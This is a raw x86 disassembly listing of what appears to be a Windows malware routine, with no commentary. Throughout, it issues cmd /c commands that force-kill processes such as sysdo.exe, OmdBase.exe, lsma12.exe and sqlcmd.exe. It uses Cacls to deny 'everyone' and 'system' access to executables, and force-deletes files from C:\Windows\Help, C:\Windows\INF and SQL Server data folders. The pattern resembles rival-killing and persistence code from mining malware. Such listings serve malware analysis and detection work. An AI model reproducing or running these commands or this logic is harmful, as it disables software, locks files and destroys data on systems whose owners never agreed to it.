push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_rundlls.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_rundlls.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.conhoy.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43566f
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoy.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_conhoy.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_conhoy.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sysdo.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sysdo.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.sysdo.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43583c
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.sysdo.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4358a2
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4358b5
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4358d8
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.OmdBase.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43591f
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_OmdBase.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_OmdBase.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_OmdBase.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.System.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x435a50
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_System.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_System.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_System.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.spoolys.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x435b81
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_spoolys.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:WindowsHelp_spoolys.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsHelp_spoolys.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.lsma12.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x435c9a
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_lsma12.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:WindowsINF_aspnetlsma12.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsINF_aspnetlsma12.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.assm.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x435db3
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_assm.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_assm.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_assm.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_assm.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_assm.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.sqlcmd.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x435f50
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlcmd.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_sqlcmd.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_sqlcmd.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_sqlcmd.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_SQL_ServerMSSQL11.MSSQLSERVERMSSQLDATASqlManagement_sqlcmd.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhos.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhos.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.conhos.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436189
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.conhos.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4361ef
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x436202
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436225
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhou.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhou.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.conhou.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x436308
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.conhou.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43636e
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x436381
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4363a4
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.m6.bin.bin.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4363eb